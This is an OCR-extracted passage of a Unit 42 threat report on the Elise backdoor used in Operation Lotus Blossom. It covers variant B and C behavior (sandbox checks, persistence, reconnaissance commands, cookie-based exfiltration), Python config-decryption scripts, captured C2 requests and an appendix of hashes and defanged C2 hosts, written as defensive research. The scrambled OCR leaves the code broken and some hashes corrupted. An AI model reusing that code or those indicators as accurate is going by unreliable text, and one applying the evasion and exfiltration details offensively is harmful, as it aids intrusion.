Variant B has a configuration data structure size of 324 bytes. It is often delivered via

a file exploiting a client-side vulnerability, such as CVE-2012-0158.

When originally installed on a victim machine, the client-side exploit shellcode will
drop two files — an executable file and a DLL. The executable is then run in a newly
spawned process. This executable file loads the second exported function of the

DLL via the function’s ordinal value. This exported function is commonly called either
‘CsOptionsHandle’ or ‘ESHandle’.

When this function is called, this Elise variant will begin by decrypting its 324-byte
configuration structure. The following Python code may be used to decrypt and parse
this configuration:

import sys
from struct import *
from ctypes import *

def decrypt(data):
cdll.msvcrt.srand(2014)

def parse_config(out):
compile_time, \

out =
for x

out += chr(ord(x) # (cdll.msvcrt.rand() % 128))

un

in data:

return out

unknown1, \
sleep_timer, \

unknown_bool, \

campaign, \

c1, c2,c3, c4, c5, \
unknown_bool2, \

unknown_string = unpack(“iiib20s50s50s50s50s50sb40s’ out)
print “Compile Time
print “Unknown DWORD

print “Sleep Timer
print “Unknown Bool Value
print “Campaign

: %s"” % compile_time
1 %s"” % unknown1
1 %s"” % sleep_timer
1 %s"” % unknown_bool

: %s” % campaign

PALO ALTO NETWORKS
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print “Command and Control
print “Command and Control
print “Command and Control
print “Command and Control
print “Command and Control

1 %s"” % c1
1 %s"” % c2
1 %s"” % c3
1 %s"” % c4
1 %s"” % cb

print “Unknown Bool Value 2

1 %s"” % unknown_bool2

print “Unknown Unidoce String : %s” % unknown _string.replace(“\

x007")

fh = open(sys.argv[1], ‘rb’)

data = fh.read()
fh.close()

parse_config(decrypt(data))

As we can see, this variant of Elise uses the same encryption/decryption routine
for its configuration data as variant A. The malware proceeds to create one of the

following files that will be used to store this configuration data:

%APPDATA%\Microsoft\IMJP8_1\8S3NOPW?7.dat
%APPDATA%\\Microsoft\IMJP8_1\26TXNK4F.dat

One of the more interesting features of this variant is its ability to detect either a
VMware® or VirtualPC virtual environment, as we see below.

'K

=

loc_10003171:

call vimware_ check
test al, al
jnz short loc_1000318C
¥
call virtualpc check
test al, al
jnz short loc_1000318C
] A 11
ol &
and virtualized env, 0
jmp short loc_10003196| loc_1000318C:

l

mov

[ ]

virtualized_env, 1
]

FIGURE 17 + Elise Variant B virtual environment check.

Should the malware detect it is running within either of these environments, it will

not perform any malicious activity going forward. Otherwise, it proceeds to configure
persistence across reboots by setting the following registry key:

PALO ALTO NETWORKS
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When initially run, Elise variant B will also execute the following commands on the
victim machine:

e ipconfig /all
* net start
e dir C:\progra™~1

e systeminfo

These command strings are obfuscated within the malware, using the following
algorithm:

char* decrypt_string(char *encrypted, int size)
{

inti;

char *result;

for (i=0;i<size; ++i )
{
result = &encrypted|i];
*result A= 0x1Bu;
¥
return result;

}

Exfiltration for variant B uses the same technique used in variant ‘A. Base64-encoded
cookie values are used to exfiltrate data, as seen below.

The structure of this base64-decoded data remains the same as well. The following
structure is used in variant ‘B".

GET /64162000,/page_37291545. htm1 HTTP/1.1
ACCEpT: */%
HosT: hW.V'IEﬂC‘lp.CCﬂI
Content-Length: 0 .
user-agent: Mozillas4.0 (compatible; MSIE 8.0)
Connection: Keep-alive
cache-Control: no-cache
Cookie: A.anwn‘rlmnnzkyquaz;nvgyhxquom 551 7wd3 5k I0IryVRGOrYZ1Cap651 9k hk FavwBIKgD__STQOBMXHMYMCFL/
F2G‘Fr‘?3§sp1ﬁF'3QDDKGEbN-MDUCF¥2 LASDTBRSTNwT 701 fBgya29] edduhPc__cBOLBNa 1PFCKET+r 93X+ UHBCCIE VCOS+TRILKTFAIZ T4
+genHBI?><e5LbLLWLKEBLMq‘Funs 3_F9N<+er§QT1dGzz ubQRNxFquZeGJ%szdbP RbroMyHk Twwed,/ 7G55,/ 2523 Tmx3+Kkwhk ISTo__oavTpgGymM7 7 820r vRNHPLSFELT /S
XKVEQYT SNS4pGaSeFDZs 1L 5Ty Sve] hicl i om/CiRCIwS ] Uuia__xvO+vp,/IFDS6B57 dgpofuHoftlawrmsLskcsy Xe7TNVAMUGFEDQH,”
1AZNZITUBLUVISTYZ  swEwhkAJATkd Dxo+RSWOr NOTXnH] Mg 1 2K0|1L9/chg\e‘gkszéj PRVZVY SMEY+HSLMpPh AnyC605 Eh_g'l wOFe/8512cs0dhBC03Z1FaTVHIXrGAGNIKGN
+x2PIhvwi+n3hd SVOzZSWABGRS S /Y pma 5 x 5wk K__BxGFhIpzBHbY AoNRmvt SEDWS JaxCRy+hIDgoNs X2 BZBxwZs1IednBhrCvig
+1Gon1n1krr‘;anoz_r‘f\dpgwﬁduasjPOguwknD(sbLWJ51jeserH/paIg'vtcs+Hywu541Ff omE1 FnPSTxyBYZIrauvB__ Yoy SgowraL0IMvbaF
+QovRsUITER3UT zcsdon?gzsLmquhEsJBd/sAsekemrnKPSNPNxh_OvRelubJM UiHL 5xenbF cdt gl Ah3IgnZ?ng'lOl-EgiﬁOO’\lUXoEerEDUNRL'lﬁ TSvZLUaNOYT/
E__irljcww7IDA3KEPmeib 4 10avo] SyLr 1LGxH5 s6EbVDBEWTyFENC] S3TIVE 1FCADOM DKhluf%{_ukLSktHkgchStcmh TY2Y
+bTI.5vnNH"|Zor‘t1KK11 ZDDdPVwa Pk KxUH+LyT ZmMEC vy Imd T5__2sudkwsR011c7azme+REGHT 6kyS10FqfkhTPrgqsp+xBoMsokddkquek xcenfcda3ejalyijezeq__8rifcr
+0GvgogIulx /KEBCChZSwoPelaiiwpphtdd chuc?LwS\mJdT:I'.IuYRPudnLNI"H'IRya2_4-?Dtd?zPyb&TumSI%m&rweySuuquaqc
+ihoplnxuyvk BPMSR1GOSRPHS rmwz2CHOQN 11__9j kvwSEEpLhbFI aaypc/BPEQANDGNEMOaT 3wEHIdNnE Sur <gbwkgGhasdz+we 1 60ggwCEmtub 7m] hix__ncgPKOKHMBPCESY
+OKUYX] 06nASRSkOPOASTVZOKX ] 9x<hd 6UG2wO1bOIWPY DY RIVOWBHOES JV5 1W__FZxEVSSs8kaThLml 7oy ZoXggcpac2M? S 7QPvEwW2 SAZIVE<,/NR1FR+ 61 +QLLKVIgexBZS ILK2 /
Giek__Dnax12nnz3Bged+xzqNo0zviyo weI8exffn/dziubu aES51/
qgm HiRW1FUMKEYBC__XSTnzpy3 HaW;YrTC hYHNyRCMURKpdABNLK o0TwLr dBFmSgZd02vis 1 Bbk 2hTx33RF4 zPcMyArwe__PhZHvknK 1 gogavicoigEz+/
F3pDbET S jRMOWOPSYEr 02U 6CETLEZAH bk PPAEIDk$Hb;3T'|NUb1_OSO1I'NngPel—‘MBwaeJC:BSOdLEOECﬂ
+LEkOLPLrLTUKNGGHr IG7HCUTNS T 1 x4 ryd hl 60F 1pTDd__ShLvxpgBLbs /gsac 202le<Sl<ahr2x‘tzeT2v¥?r‘Uijb()3TgQL I+ KMy Wt TRIjSAL S
JjTdve__93:00kGz 1ULBA3 TrMswdLN/M7GaneL 7ghyt nemyUdr Z2oRevody USasr /0sMr 1C3 xadh2gHMzy 3t __TsBvghsTC2gd,
KgYEOHFkYHpvlSWKOmD?e'IVscaRSz*p‘tPSuWPuﬂnJh’ nArz883vwWP2ZtZKf__A/rb0juw2 ITLOytYkBv5eywil]cHSPO9sY j OTHSMRKG] Pl Swkr
+ETMTVyw 10wy § SMMOPFO0WGSP__/2 K8 FOQADE04 ZwEPOLB6ZECT RAFNG TWL 7V | PAMFMIUWSLZEW] TmaC,”
aPOXZN3x4 0hmt SqgvTz__kEIEEOUUWD 1WPHZ 7 IVT 09ZmDGEr 76b5 2 CRGGChMOpZ sth’I"lr‘PHED'IDg?AxqulUBhPGZxJQw_ei><HhH||H'kl1yYTGaI.Hf»IchWSEbOD&‘FHOEISOYd}M
waz&yh:l..o_tHaqsPrPEmuTBkwxDﬂmnb?'l_scn;Apv uTmy Sy aLozTwnavl 6gBCQ5H23yeBJrQ

Pudfcko/033UFBI01 R4 N

gjq PyVEWkmMZEamnd Ui >ZBIT7ukdMgONCe__255vi
+YI6D06ET DO QUYAXSAPNIOCVZ 63T /H7QQSZNDF 2uev ;?W_zl.czirb 1pIMIwWIGlG/Bor/Gf xMoAgavda7gPra
+5ChgaswnivGBoybsouok SNQUZTESP alt__tof7x/11o3R1wWILOhO] r31qwkz25TFRF SMOKT ZRawLdsM5asSRITANSTBSBRKUSQOrd J 2901 DG/ OGRHNT Gweby1hogs x/
mcwsmirms‘;gt aufga Ka Ky‘gROHI“BZGD BN9T 1001gDOGMT 2BGYOYHIK+__jvFODZZgPYM I PFs+kuaoghkma 431 82MIPdOHL /auk T
+ETSXZ]wWvQTsKZ

TEXMxI fgho_cagk gnun&_z ZpZgzk qoo+f Twsd tsb2vdayz15KO4+M

+I.kd4?F:<DBmPCSFJWFmCmGj1T 092 bgdknofgr juLJ_HGzRFO:I.q!ZdI.tsa‘:‘;quIXGFWRCFbJTGSGUUjRShAJCQHQCZZeGUUZIkWHGMH/MJCO
4x__M10bBZ4 hy KUOWC6xrMZAadof JukgBwn; B=Cix/p1ENAFEDSY 04V, Y TGE COWTWOSGE2ZaKgLmG70INTFN__Y GRS+ 1 DesXNL SvAXWE
+1Fg3GOGRx2T4MZb743BK X 560A53aLTT legDI a+7IxAnN :InOn‘ITﬂC?K_A/B E3kMsnuf i 5GLvacfd]DkrvRUvWFE
+tazgdkesSnoLpyveoqonNiMkk7AY nTodELUBPIDTX__NUDa aIEfsvBdZwviv/wi8/ZrnD5fscgrgBalM3mzKDIThwyL2 ] h8s I NMad aLHz 71 xew__okk/
1EbITppFBSLWFMEFPLDOBRSGZSETZET],/p35,/6xvUC3EgpvEm S /OLONEALr /

FIGURE 18 + Elise Variant B POST Request
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11111111 [1]1]|2]|2|2]|2|2(2(2|2|2|2]|3
11213 415(617181910(1(2|3|4|5|6|7|8|o|o|1]2|3]a|5]6]7]8]a|o]1
Len [ Unk [ RC4 Key CRC32 Variable-length Encrypted Data

FIGURE 19 + Elise Variant B Data Encoding

Variant C

The third variant of Elise has its earliest compile timestamp in mid-2013 and has been
used in attacks periodically since that time. This variant has been the most prevalent
overall, accounting for roughly 75 percent of all samples identified by Unit 42. The
most recent sample of variant C was compiled in late March of 2015. Additionally,
variant C uses a 336-byte configuration structure.

Similar to variant B, variant C is often delivered via a file exploiting a client-side
vulnerability, such as CVE-2012-0158. This particular variant is delivered as a single
DLL with two exported functions — ‘Setting’ and ‘Update’

When the 'Setting’ export is called, the malware will copy itself to the following
location:

*  %APPDATA%\Microsoft\Network\rasphone.dll

This new file is then called via the following command:

¢  Rundll32.exe %APPDATA%\Microsoft\Network\rasphone.dll,Update

When the ‘Update’ export is called on rasphone.dll, the malware will begin by checking
if a debugger is attached via a call to IsDebuggerPresent(). In the event it is not
detected, the malware will then check to ensure the DLL has been loaded by Rundll32.
exe by comparing the current filename against 'dll32". rasphone.dll uses a simple string
encryption routing. The following code can decrypt encountered strings:

void decrypt_string(char *encrypted, int size)
{
inti;
if ( encrypted )
{
for(i=size-1;i>0; i)
encryptedli] A= encrypted]i - 1];
*encrypted A= 0xAO0;
b
}
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The malware continues to identify the location of iexplore.exe (%PROGRAM FILES %\
Internet Exploreniexplore.exe) and spawn a new instance of this process. The malware
will proceed to inject itself into iexplore.exe. Finally, the malware will decrypt an
embedded DLL located in its resource section ("XDATA) and write this DLL to a new
section of memory in iexplore.exe. A configuration blob of 336 bytes is subsequently
written to this DLL, and the DLL is loaded into iexplore.exe via a call to LoadLibraryA.

The injected DLL (hereafter referred to as xdata) begins by spawning a new
thread where all further actions will be taken. The malware writes its encrypted
configuration to the following location:

¢ %APPDATA%\Microsoft\Network\6B5A4606.CAB

The following script can be used to decrypt this CAB file.

import sys
from struct import *

def decrypt(data):

str_len = len(data) - 1
out=""
while(str_len > 0):

str_len =1

if str_len == 0:

break

out = chr(ord(data[str_len]) A ord(data[str_len-1])) + out
out = chr(ord(data[0]) A 0xAO0) + out
return out

def parse_config(out):
compile_time, \
unknown1, \
sleep_timer, \
unknown_bool, \

campaign, \

c1, c2, c3, ¢4, cb, c6 = unpack(“iiib20s50s50s50s50s50s50s"; out[0:333])
print “Compile Time : %s” % compile_time

print “Unknown DWORD : %s"” % unknown'

print “Sleep Timer 1 %s"” % sleep_timer

print “Unknown Bool Value : %s” % unknown_bool

print “Campaign : %s” % campaign

print “Command and Control : %s” % c1
print “Command and Control : %s"” % c2
print “Command and Control : %s” % c3
print “Command and Control : %s” % c4
print “Command and Control : %s"” % cb
print “Command and Control : %s” % c6

fh = open(sys.argv[1], ‘rb’)
data = fh.read()
fh.close()

parse_config(decrypt(data))
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Additionally, this CAB file is “time stomped” to a Create/Modify time of Sunday,
November 21, 2010, 10:29:33 UTC. This malware also writes to a log file located at
the following path.

*  %TEMP%\OOELRRBAF.TMP

Data in this file is not obfuscated or encrypted in any way. The malware proceeds
to enter in a loop, where it will attempt to communicate with the specified URLs
via either HTTP or HTTPS. The following has been identified about the structure of
the binary data submitted via POST requests. This structure is consistent with all
previous Elise variants discussed.

1{1])1]1]1 111(1(2]|2|2|2(2|2|2(2(|2|2|3
0(1(2(3(4(5|6(|7|8(9|0|1|2|3|4|5]|6|7|8|9|0|1

—
—

1[2({3|4|5(6(7|8]|9

Len | Unk | RC4 Key CRC32 Variable-length Encrypted Data
e

FIGURE 20 + Elise Variant C Data Encoding.

When an initial communication is made to the remote server, the malware will
execute the following commands to conduct basic network reconnaissance:

e netuser
e ipconfig /all
* net start

e gysteminfo

This data is exfiltrated using a POST request, as seen below.

GET /64T62b00/page_37291545. html HTTR, 1.1
ACCEpT: */%

HOST @ weiw. v EHC1D.CUTI

content-Length: O

uUser-agent: Mozilla/4.0 (compatible; MSIE 8.0)

Connection: Keep-alive

cache-Control: no-cache

Cookie: A-BxHanPermRDzkyquazgnvgyhxapqosxr 551 7wd3 5k I0IryVRGOrYZ1Cap651 9k hk FavwBIKgD__STQOBMXHMYMCFL/

F2Gfr73sspli PBQDDKGEMHNDUCFgl’ LASDTBRSTNwT 70IfBgya99] edduhPc__cBOLBNalPFCKET+r 93X+ UHBCCIE/vCOs+ TR ILKTFAIZi T4

+E20HEI SLBLLVULKEBUwWGFUOSB3__FOaK+rQt 1dGz2,/TubQRNXFYFK2aclyw] zdbe RbroMyHk Twwed,/ 7G55,/ 2523 Tmx3+Kkwhk ISTo__oavTpgGymM7 7 820r vRNHPLSFELT /S
HEVEQYT SNS4pGaS6FDZs 1L Ty9ve] hicliom/CjRCIwEjuuda__xv0+vp/ 1 FD56B51dapofuHoftlawPmsLskcsy X7 TNV AMUGFEDGH,

1AZNZITUBLUVTSTYZ__ swEwhkaldThd Dxo+RSwOr NoTxnH]Mwo 2KOHL9/LZC§S§R526j PRVZV SMEY+H5LMpPhAnCE05ER__gTwaFe,/8s1Z2csodhBc03Z1FATvHOXr GAGNIKGN
+x2PIhvwi+n3hd SVozswWABGRS S /Y pma S xsxwk K__B8xGFhIpzBHbY AONRMVE GE Jmnwhm?ansxzazamsnednshchQ
+150M1n1kIr‘;anoz_r‘prgwﬁduasjPoguwkmxsbLWJ5‘Ijeslr‘YH/pa1g'vtcs+H}muS~11Ff omE1 FnPSTxyBYZIrauvB__ Yoy SgowraL0IMvbaF

+QOVRSUIFERZUT ZGsdoD%zsmcmuhhesJ54/sAsekeawrnxpmpuxh_wnembm Uil SxenbFcdtgkah3Ign37hxgl 0+E J10x0EEGPeoUNRL Twi 7 SvZLUanNoyT,/
E__irljGww7IDAIKEPME /ﬂJQaVo;QYLr"I L6XH5s 6EbVABEWTYFENC] 531 IVETFCADOM DKhlUfyé_ukLSktHkgchStOmh TY2Y

+bT|.SvnuH"|zort1Kx11 ZDDAPVwa Pwk ULy T 2mMEC JvyImd T 5 __2sudkw+R01 1 c7azmB+R6gHT Bkys10fqfkhTPrggsp+xBoMsokadkquek xcenfrdciejalyijezeq__8rifcr
+0GvgogIulx /KEBCChZSwoPelaiiwpphtdd quuc?LwS\mZdTIIuYRPudnLNhH'IRya2_4-?Dtd?zPyb&TuIJOSIngg?mérweyﬁouquaqc

+ihoplnxUyvk BPmSR1GOIRPNS rmwz2CHOGNTI__ 9] kvvSEEpLhBFI aaypc /BPEQQNDGREMOaT 3wEHIdNE Surxgbwk sl sz+w‘lGoqq\cemrub?mjthcqpkoxmggcasv
+OKUYX] 06nASRSkOPOASTVZOKX ] 9x<hd 6UG2wO1bOIWPY DY RIVOWBHOES JV5 1W__FZxEVSSs8kaThLml 7oy ZoXggcpac2M? S 7QPvEwW2 SAZIVE<,/NR1FR+ 61 +QLLKVIgexBZS ILK2 /
Giek__Onax12nNz3Bged+xzqnNo0zviyo wedBexffndziubu aE9SI/

gpwwkH] Rw] FUMKEYBC__xStnzpy3 HaW;Yr‘TC hyHNyRCMURKpdABNL koot wir dBFm S5 gZ402vixs i Bhk 2hTx33RT4 zPcMy Arwy__PhZHvEnk 1 gggavooigEz+/

F3pObET s jRMOWOPBYEro2UT6CEeTLEZAHSbE: IcPPAEDkSHb%3T]Wb1L_0501I'N2gHPeFMBwaeJC13SUdLEoeCE1

+UekOLPLFLTUKNDGHr IG7HCUTNS x4 rydhl 60F 1pTDd__ShLvixpg8Lbs /gsacmyl2o2 kY KSKaw2 xt zeT 2vy7r o] FALO3ToOL eQl+kMmyxwt 1R1j AL/
JjTdve__93:00kGz 1ULBA3 TrMswdLN/M7GaneL 7ghyt nemyUdr Z2oRevody USasr /0sMr 1C3 xadh2gHMzy 3t __TsBvghsTC2gd,
ngEOHFkYMpvlswxovn0?a1v5cansz¥195uw¢pum3w nArz883vwWP2ZtZKf__A/rb0juw2 ITLOytYkBv5eywil]cHSPO9sY j OTHSMRKG] Pl Swkr

+ETMTVyw 10wy § smMOPFO0wWgSP__/2 K8 FOQADS0+ZwEPOLBGZECT RAFNGTWL 7 riv 1 PAMFMOUWS LIZEW ] TmQC

aPoxZN3x4 Ohmt Sqgvtz__kEIEEOUUWD 1WPHZ 7 IVT 092mDGEr 76b 5 2 CRGGChMOpZ shh0'r'|rPMED'Iog?Ax?qaluahpczxJQw_eﬁXHthHwIw‘rﬁam&ucjwﬂssboxmozlsovm
U?BZ&yh:LQtH3Q5Pr‘P5muTBkH‘DI<Dg'|0H'Inb7'| _scnnpw\.;gmmgdval_oﬂmavj 603CQsH23yeBlry 3jq mZEamnd U1 >xZE1T TukdMgONCe__255vU

+Y16Dd6Et bOUPUdFCKO,/033UFBIBL T RAQUYAXSAPNIOCVZ63TL /H7 QS ZNDF 2uevi ng?ﬁ_zlczirb IpIMIWIGLG,/BoP/GfxMOAqavda7gPPA

+5ChgaswnivGBoybsouok SNQU276SpNgw]alt__tof7x,/T1lo3R1wWILOhVO]r31qwkz2 5T FRFSMEKT2ZRawLdsM5a5SRITANSTBSBREKUSQOrd § 2001 Da/__OGRHNT Gwedy1hogs x/
mCRHBHWTAs‘thV!UFQaKaK ROHr 3 2G0y1BNST 1001 qDOGHT 2BGYOYHOK+__jvFo0zzgPyM i PFs+kuaogkma, /431 82MIPdOHL /auk T

+ETSXZiwvQTSK2 Témxifgr\o_caﬂkgnun&_zzpz zkqo0+F Twsd tsh2vdayz]5K94+M
+LkddpPxpEmPCS FawwfikMamG] 1 Tdo92bad knofgr juLJ_HGzAFOquzdl.tsa.:‘;uzvlxGF'WRCFbJTGsGquRShAJcQ/thZZeGUUZIkWhGMZ1/p43CO
4x__M10bBZ4 hy KUOWC6xrMZAadof JukgBwn; B=Cix/p1ENAFEDSY 04V, Y TGE COWTWOSGE2ZaKgLmG70INTFN__Y GRS+ 1 DesXNL SvAXWE

+2fg3G RIZI4M2b?43EKKSGOASSaLttlegOIa+?IxAn JnMgK_MBESkHSHUF i 5GLvacfd]DkrvRUvWFE
+tazgdkes8noLpyveoqoniMrk7AY nTodELUBPIDTX__NUDaZY AlEf svBdZwviv,/wiB/ZrnD5fscqrqBalMImzKDIThwy L2 h8s I uMad aLHZ 71 xew__okk/
TELIIppFBSLWFMEFPLDOBRSGZSETZET] /P35 GxVUC3EQpVENS /OLONEALr /

FIGURE 21 + Elise Variant C POST Request.
In the above example, the ‘2320’ value in the URI is generated using the victim's
MAC address. The '00320511" value in the URI is generated using the current time.

This allows each request to be unique and also identify the victim machine.
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Previous Research

Multiple research groups have mentioned the Elise backdoor in publicly available
reports. This section highlights some of those to help readers connect this campaign
to previously known attacks.

In 2013, Xecure Labs and Academia Sinica published a joint paper, and they delivered

a presentation at BlackHat in which they identified Elise as part of a larger group of
tools they referred to as the “LStudio,” “ST Group” and "APTOLSTU.” The research
team noted that Elise and other related tools had been used primarily in attacks on
Taiwan (Figure 22), but also against the United States, Canada and other nations.

chicken farms went international
5,884 T

chickens

FIGURE 22 + Slide 30 from BlackHat presentation showing Elise target.

Trend Micro refers to Elise as BKDR_ESILE, making a slight modification to the
author’s chosen name. Trend Micro first reported on Elise in their 2013 2H targeted
Attack Trends reporti. Since then, they have referenced that paper in multiple blogs
and reports vV This research indicates that the majority of attacks using Elise also
targeted government organizations in the Asia Pacific region.

FireEye refers to Elise as the “Page” malware, because early versions of the Trojan
use the word “page” in their Command and Control URLs. FireEye first noted an
Elise attack in September 2012, which involved a targeted spear phishing attack
against the aviation defense industry . FireEye later noted Elise was delivered in an
attack using a lure related to the crash of Malaysian Airlines flight 370 vi.
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Conclusion

Operation Lotus Blossom represents a long-term campaign targeting government
and military organizations in several nations of Southeast Asia conducted by a
persistent attack group. We traced the earliest of these attacks to 2012, and the most
recent occurred during the course of writing this paper. In one case, the targeted
organization received 20 separate email attacks carrying Elise exploit files over the
course of eight weeks.

While we cannot attribute these attacks to those of a specific nation state, the
pattern indicates a highly persistent adversary with the ability to develop custom
tools, and maintain command and control infrastructure, over a long period of time.
This evidence is consistent with a nation state adversary with a strong interest in the
militaries of Southeast Asian nations.

Lotus Blossom may deploy additional tools beyond the Elise backdoor detailed in this
report, after the group has achieved a foothold in the network. Related tools used by
the group include those known as “LStudio,” and Evora.

Unit 42 initially identified the attacks described in this report using Palo Alto Networks
AutoFocus platform, which quickly enables analysts to find connections between
malware samples analyzed by our WildFire system. We combined this data with open
source intelligence to gather additional samples, which broadened the scope of our
analysis. We have tagged all of these samples, and the infrastructure used in this
campaign, within AutoFocus, using the tags Elise and LotusBlossom respectively.

WildFire correctly identifies Elise executables, as well as the exploit files used in
Lotus Blossom attacks, as malicious. We have released IPS signature 14358 in
response, which detects command and control traffic generated by Elise.
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Appendix

Elise Sample Details

SHA256 a28d6d7ac530753bb2ebfe1a9e9bd60269e6d227dec555e538cc36abdecf29f
Campaign Code PYQ

Command and Control 59.6.2[.]16

cpcl2006.dyndns-free[.Jcom

shotacon.dyndnsl.Jinfo

petto.moool.Jcom

kid.dyndns[.]lorg

SHA256 949¢c9457a6¢77e7e7f1519435149183c56eb53f7d74439fb848b5d6d91196a73
Campaign Code PYQ

Command and Control 59.6.2[.116

cpcl2006.dyndns-free[.Jcom

shotacon.dyndnsl.Jinfo

petto.moool.Jcom

kid.dyndns[.]lorg

SHA256 712c488950f27e98bckebe5b63e5775498236a179¢cb4576bf021f8ebebde0df4
Campaign Code MYGHOST

Command and Control 50.7.11[.110
www3.bkav2010[.Inet

SHA256 b9681¢178e087140344ebaec2630cb1f6a7be92e97ebbe7ce10528f6f0e6028f

Campaign Code yxz-tw

Command and Control 184.22.44[.1209
kjd.dyndns[.lorg
202.82.202(.]1228
wsi.dyndns|.Jorg
cpcl2006.dyndns-free[.Jcom

SHA256 dcé61e089eebfé6falb3abf637ce105e0d20666aa52d9001f5fd5034815331cd61

Campaign Code 340_typhoon
Command and Control beckhammer.xicpl.Inet
122.10.89[.184

SHA256 6eae10f0b9a62a26hb19897f7bab27f92e93e458034939f55f2001835c0e1f1be
Campaign Code llmacau

Command and Control 202.82.91[.1139
218.103.16[.]153
203.218.138[.130
103.246.245[1146
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SHA256 8c2cd914de7c125e49019f3826918511150ee4fff8a923da350a99¢102b36455

Campaign Code yxz-kjhkjsxy
Command and Control 184.22.44(.1209
kjd.dyndnsl[.]lorg
202.82.202[.1228
wsi.dyndns[.Jorg

cpcl2006.dyndns-freel.Jcom

SHA256 a8e0abbb19400eccd3c9aceb183fe7626d5bde7bdf9b8ec8825aa17cc3a213a3
Campaign Code 340_typhoon
Command and Control beckhammer.xicpl[.Jnet

122.10.89[.184

SHA256 €9971de22a922678fc216e9e3923c7eb6b21455ddfbb24eb4be50e1cc7ceacc3

Campaign Code demo
Command and Control 122.10.89[.184

beckhammer.xicp[.]net

122.10.891.185

SHA256 0752bbdb0c51a519f17262dd30a033¢c224¢82168522f2c88949b1a0afc8f9037

Campaign Code 340-0226

Command and Control harryleed.dyndns[.Jorg

173.231.491.198

verolalia.dyndns[.Jorg
jackyson.dyndns[.Jinfo
scristioned.dyndns-web[.Jcom

SHA256 4780442f3cc8d3e1888aabcechb05d0c49a6755964eba7a8aba36dbd2a0ef881

Campaign Code yxz-tw

Command and Control cpcl2006.dyndns-freel.Jcom
wsi.dyndns[.Jorg
202.82.202(.]228
kjd.dyndns[.]lorg
184.22.44[.]209

SHA256 bae07b0c3e4e96731360dc4faak9c0d4éabesd3705e768393f21661c82deal3f3
Campaign Code Alice_vishipel
Command and Control www.serchers[.Jnet

142.91.252(.]130

www.alianceskyl.Jcom

58.64.183[.192

SHA256 7e386ff64be78af18f8a79d01cb75b0438chceesb647e0a928100bd52ee56db76

Campaign Code G140509ZA01
Command and Control 46.251.237[.159

www.tintuchoahaul.Jcom
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SHA256 866¢c698073e4debb6dd83c1ec9567ec03eca9f03775deadb81cc59fdbbcfdssé
Campaign Code 310-pyq
Command and Control cybertunnel.dyndnsl.Jinfo

newshappys.dyndns-blog[.Jcom
www.imonju[.Jcom

www.serchers[.]net
202.82.202[.1228

SHA256 edb45f03dfd52ah58f163ad2ca48f4bc9citbcb72ea9181d0e0a1d87859f707a6
Campaign Code 370mymm
Command and Control 122.10.89[.184

122.10.89[.185

SHA256 3d2c6d48425212eabh886c2e7e89249e4aa8cfbad9ec3dd22cafb4f879683d8b
Campaign Code 340-dfa-520
Command and Control phil-gov.gotdns[.Jorg

scristioned.dyndns-web[.Jcom
asean-star[.Jcom
aseansec.dynalias[.Jorg
113.10.136[.118

SHA256 d9174d6bbcb51d3df186794109cd6b2036£6231cf8733290eadd399bf8137055
Campaign Code 340-0528
Command and Control phil-army.gotdns[.Jorg

scristioned.dyndns-web[.Jcom
asean-star[.Jcom
aseansec.dynalias[.Jorg
113.10.136[.118

SHA256 30f1f7e848c79212170794d718d0f3929c24e0f3d28695a7c85a85¢77ab7aac9
Campaign Code 310-pyq
Command and Control cybertunnel.dyndnsl.Jinfo

newshappys.dyndns-blog[.]Jcom
www.imonju[.Jcom
www.serchers[.Jnet
202.82.202[.1228

SHA256 39dd2381bcd0f47dadf23399254bf1b51a837179e5634328afafe07510f5888a
Campaign Code 340-0528
Command and Control phil-army.gotdnsl.Jorg

scristioned.dyndns-web[.Jcom
asean-star[.Jcom
aseansec.dynalias[.Jorg
113.10.136[.118

SHA256 €2181b3d47feb5a321fe3b85b08a0245a1e0824b213e568fa4736d529fd5f8¢c2
Campaign Code 731
Command and Control usa-moonl.Jnet

23.234.63[.1197

PALO ALTO NETWORKS + Operation Lotus Blossom 27



SHA256

Campaign Code

Command and Control

SHA256

¢c19d3242d43c71f03f5873231444c1226a11892dd7f0142ff10479f1f718382d
key0730

usa-moonl[.Jnet
23.234.63[.1197

24bh8e48f37chd71b2195cff4f52ec304a2ed9d60c28d2afd785e6f32639325f

Campaign Code

Command and Control

bio
usa-moonl.Jnet
23.234.63[.1197

SHA256
Campaign Code

Command and Control

65c901b19e2eec6b8392100c1073253641a95dd542f39c9ca95755e8a2afde14

Alice_Spider
www.aliancesky[.Jcom
58.64.183[.192

www.serchers[.]net
162.211.181[.]107

SHA256

Campaign Code
Command and Control

SHA256

34943d8718d35a633bafefb6f113b3486945ec7dcd19bde11ca3c29feed4saf3

HKDLS
101.55.121[.147
27.255.64[.1231

www.iascas[.Inet
59.188.247[.132

400148084474b7092060b844966¢f75301d5f2c2b8ae1048f37f634073ead630

Campaign Code

Command and Control

SHA256

FUCKU
101.55.121[.147
118.193.212[.161

www.seachers[.Jnet

61ab66afac2702276f6bba2cfcab58198fced893ad1da27aef228259869f5383f

Campaign Code

Command and Control

FUCKU
101.55.121[.147
118.193.212[.161

www.seachers[.Jnet

6f039f217d8b3bf6686e298416f084884b9a7ecO0ee51f334ecc3f5a2da9145a8

SHA256

Campaign Code

Command and Control

SHA256

FUCKU
101.55.121[.147
118.193.212[.161

www.seachers[.Jnet

eae4bh429b0b732d49750400e70caef579450d0651373440f536de71d6134c173

Campaign Code
Command and Control

FUCKU

101.55.121[.147
118.193.212[.161
www.seachers|.Inet
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SHA256 8f7c74a9e1d04ff116e785f3234f80119d68ae0334fhb6a5498f6d40eee189cf7

Campaign Code HKDLS

Command and Control 101.55.121[.147
27.255.64[.1231
www.iascas[.Jnet
59.188.247[.132

SHA256 a462085549f9a1fdeff81ea8190a1f89351a83cf8f6d01ech5f238541785d4b3
Campaign Code FUCKU
Command and Control 101.55.121[.147

118.193.212[.161

www.seachers[.Jnet

SHA256 a8e0abb6b19400eccd3c9aceb183fe7626d5bde7bdf9b8ec8825aa17cc3a213a3

Campaign Code mm-0807
Command and Control www.imonjul.Inet
61.58.31[.]102

202.77.181[1179

SHA256 96356db43d7e9a5c3c4e3f9f7ee9a3dbal4ad1c7db7367b7f6d664db4sf0ef5d7
Campaign Code jessica-cpt-app
Command and Control www.serchers[.]net

www.aliancesky[.Jcom
162.211.181[.1107
58.64.183[.192

SHA256 bd78e106f208cbb8ea9e5902d778514f1fc2d15876fca292971¢6695541889a3
Campaign Code jessica-cpt-app
Command and Control www.serchers[.Inet

www.aliancesky[.Jcom
162.211.181[.]107
58.64.183[.192

SHA256 96410865d46cda89c7c34c60d485¢2378a98acbba7eadbada90daa02a94ba299
